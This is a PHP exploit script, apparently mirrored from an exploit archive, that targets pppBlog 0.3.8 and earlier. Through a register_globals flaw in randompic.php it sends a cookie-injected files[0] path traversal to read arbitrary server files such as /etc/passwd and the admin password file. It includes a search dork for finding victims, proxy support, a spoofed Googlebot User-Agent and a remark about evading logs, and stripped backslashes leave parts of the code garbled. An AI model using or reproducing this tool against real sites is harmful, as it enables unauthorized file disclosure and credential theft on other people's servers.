#!/usr/bin/php -q -d short_open_tag=on
<?
echo "pppBlog <= 0.3.8 system disclosure exploitrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrnrn";
echo "dork: intext:"Powered by pppblog"rnrn";
/*
works with:
register_globals=On
*/
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path path_to_file OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to pppblogrn";
echo "path_to_file: a file which you want to see content ofrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwdrn";
echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81rn";
echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80rnrn";
die;
}
/* software site: http://joerg.jo.funpic.org/pppblog/static.php?page=welcome
vulnerable code in randompic.php at lines 66-68:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
readfile("$dir/$files[$randnum]");
...
if randompic.php is called directly, without arguments, $files array is
not initialized, so , if register_globals = On, you can see all
files on target server, according to open_basedir restrictions, poc:
http://[target]/[path]/randompic.php?files[0]=../config/admin.php
now at screen you have ppp-blog admin username/password pair, crypted by
crypt() php function
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$path_to_file=$argv[3];
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slashrn");}
$port=80;
$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}
$packet ="GET ".$p."randompic.php HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: files[0]=".urlencode($path_to_file)."rn"; //through cookies, log this :)
$packet.="Connection: Closernrn";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>
original url: http://retrogod.altervista.org/pppblog_038_xpl.html
Polish
English